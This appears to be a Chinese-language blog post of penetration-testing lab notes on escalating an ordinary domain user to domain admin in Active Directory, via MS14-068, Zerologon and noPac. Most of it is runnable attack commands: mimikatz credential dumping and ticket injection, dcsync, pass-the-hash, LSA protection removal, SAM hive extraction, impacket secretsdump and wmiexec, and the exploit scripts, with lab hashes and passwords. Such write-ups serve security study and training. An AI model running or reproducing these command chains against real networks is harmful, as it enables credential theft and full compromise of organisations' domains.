03.域内权限提升
本文最后更新于80 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、域提权简介

域环境提权,就是从普通域用户权限到域控管理权限
域渗透的主要目标就是拿下域控管理权限,拿下域控制器,进而拿下整个域

二、MS14-068

(1)漏洞简介

该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。

(2)漏洞原理

服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控DC验证PAC的话,那么客户端可以伪造域管的权限来访问服务器。

(3)利用条件

  1. 域控没有安装MS14-068的补丁KB3011780
  2. 拥有一台域内主机权限
  3. 具有普通域用户密码、Hash值以及用户SUI

(4)漏洞利用

1)漏洞检测

查看是否安装 KB3011780补丁来判断是否存在漏洞,一般在域中补丁都是批量安装的

wmic qfe

2)获取域用户SID

域用户SID: S-1-5-21-2458611878-403290033-2860276015-500

Pasted image 20250405102510.png

3)获取域用户Hash

场景一:得到域普通用户权限
由于是域普通用户,想要获取 直接执行 Hash值,需要提权到 SYSTEM权限
直接执行getsystem 无法提权,需要通过提权漏洞得到 SYSTEM权限,这里我们通过ms15-051 得到SYSTEM权限的 beacon
Pasted image 20250405112112.png

  • 获取Hash
hashdump

Pasted image 20250405112123.png

  • 获取密码
logonpasswords

Pasted image 20250405112311.png

场景二:得到主机本地管理员权限

  1. 管理员权限执行 hashdump 获取主机用户 hash 值
  2. 执行 getsystem 得到管理员权限,执行 logonpasswords 获取主机用户明文密码,从而得到普通域用户账号密码
  3. 通过 CS 的 spawn as 功能,通过获得的普通域用户账号密码上线域用户权限 Beacon 会话

4)清除当前用户票据

mimikatz kerberos::purge

5)生成认证证书

利用 MS14-068.exe提权工具生成伪造的 kerberos协议认证证书

shell MS14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -p 1qaz@WSX -d 10.10.11.10

6)写入认证证书

利用 mimikatz.exe将证书写入,从而提升为域管理员

mimikatz kerberos::ptc TGT_de1ay@de1ay.com.ccache

7)验证域管理权限

再次列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功

shell dir \\dc\c$

Pasted image 20250405113806.png

三、CVE-2020-1472 — Netlogon域提权

(1)漏洞简介

2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞的风险通告。攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

(2)影响范围

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2012
Windows Server 2016
Windows Server 2019
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

(3)Zerologon脚本利用

1)获取域控主机名称

通过获得 PC主机的 Beacon会话执行对应命令,得知域控制器计算机用户名称DC$

net group "domain controllers" /domain

Pasted image 20250405153606.png

net view

shell nslookup DC

Pasted image 20250405153931.png

2)检测是否存在漏洞

  • 启动Socks代理
socks 1080 socks5

Pasted image 20250405154710.png

  • 配置proxychains代理

  • 通过Socks代理进行漏洞检测

proxychains python zerologon_tester.py DC 10.10.10.10

3)利用漏洞重置域账号

  • 通过Socks代理进行漏洞利用
proxychains -q python CVE-2020-1472.py DC DC$ 10.10.10.10

Pasted image 20250405162343.png

这时候我们可以在域控主机上查看一下 DC$机器用户凭证:

mimikatz
privilege::debug
lsadump::dcsync /domain:mingy.local /all /csv

Pasted image 20250405163545.png

可以看到DC$的 Hash 已被置空
Pasted image 20250405163638.png

4)获取域控用户Hash

  • 通过代理使用impacket-secretsdump
proxychains -q impacket-secretsdump 'xingyu.local/DC$@10.10.10.10' -no-pass

Pasted image 20250405164436.png

  • 上传使用secretsdump.exe
shell secretsdump.exe mingy.local/DC$@10.10.10.10 -no-pass

5)使用Hash横向移动连接域控

proxychains -q impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:a70cfad7bea6351047b634c2df822b31 mingy/administrator@10.10.10.10

Pasted image 20250405165722.png

6)恢复域 – 获取Hash

因为是使用漏洞将hash置空,并没有修改SAM数据库

  • 获取 SAM 数据库
# 保存
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
reg save HKLM\SECURITY SECURITY

在获取的shell里执行命令

# 下载文件
lget SYSTEM
lget SAM
lget SECURITY

# 删除
del /f SYSTEM
del /f SAM
del /f SECURITY
  • 解密 SAM 数据库
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Pasted image 20250405174206.png

  • 获得机器用户的HASH:
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:8110eee70801ff81cdc59941186ebee2

7)恢复域 – 还原Hash

  • 通过代理执行python脚本
proxychains -q python reinstall_original_pw.py DC 10.10.10.10 8110eee70801ff81cdc59941186ebee2
  • 通过上传执行reinstall_original_pw.exe
shell reinstall_original_pw.exe DC 10.10.10.10 8110eee70801ff81cdc59941186ebee2

Pasted image 20250405175010.png

  • 尝试在域控主机查看DC$机器用户Hash
    Pasted image 20250405175101.png

(4)Mimikatz利用漏洞

1)检测是否存在漏洞

mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$

Pasted image 20250405175713.png

2)利用漏洞重置域账号

mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$ /exploit

3)获取域控用户Hash

mimikatz lsadump::dcsync /domain:xingyu.local /dc:DC /user:administrator /authuser:DC$ /authdomain:xingyu /authpassword:"" /authntlm

Pasted image 20250405182419.png

4)得到域管权限

利用域管理员Hash得到域管权限,执行如下命令后会打开一个具有域管理员权限的cmd.exe进程

  • 获得SeDebugPrivilege权限
mimikatz privilege::debug

Pasted image 20250405180916.png

注意:因为当前 beacon用户权限为域内普通用户 XINGYU\bob,需要有管理员或者SYSTEM权限才能获得 SeDebugPrivilege 权限,因此需要在提权操作后得到的system权限的beacon中执行本步骤操作

  • 进行Hash注入
mimikatz sekurlsa::pth /user:administrator /domain:mingy /rc4:7e9067ca378134e50512ab894de75517

Pasted image 20250405184329.png

注意: Win10环境下需要绕过 LSA Protection,该功能需要 mimidrv.sys 文件使用mimikatz绕过 LSA Protection的命令为:

privilege::debug
!+
!processprotect /process:lsass.exe /remove
  • Token窃取得到域管权限
    通过窃取具有域管权限的cmd.exe进程Token,得到域管权限:
    Pasted image 20250405184439.png

    Pasted image 20250405184453.png

5)恢复域密码

shell reinstall_original_pw.exe DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae

6)修改域管密码(不建议)

mimikatz lsadump::postzerologon /target:10.10.10.10 /account:DC$

mimikatz会将保存在域中的凭证以及注册表、lsass中的凭证同时修改为 "Waza1234/Waza1234/Waza1234/" ,这样不影响域控的正常工作。

四、CVE-2021-42287/CVE-2021-42278

(1)漏洞简介

1.CVE-2021-42278
一般来说,机器账号的名字应该以$符号结尾的。例如 DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的 sAMAccountName属性)

2.CVE-2021-42287
结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT(票据授予票据)票据,然后在申请ST(服务票据)之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是 DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。

(2)影响范围

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

(3)漏洞利用

1)获得一个域用户权限

通过获得PC主机的Beacon会话,使用提权漏洞得到SYSTEM权限,执行logonpasswords,得到域用户密码。

2)获取DC的Shell

  • sam-the-admin
proxychains -q python sam_the_admin.py "xingyu/bob:3wsx@edc" -dc-ip 10.10.10.10 -shell

Pasted image 20250405205850.png

  • noPac
proxychains -q python noPac.py -use-ldap xingyu.local/bob:3wsx@edc -dc-ip 10.10.10.10 -shell

Pasted image 20250405210300.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇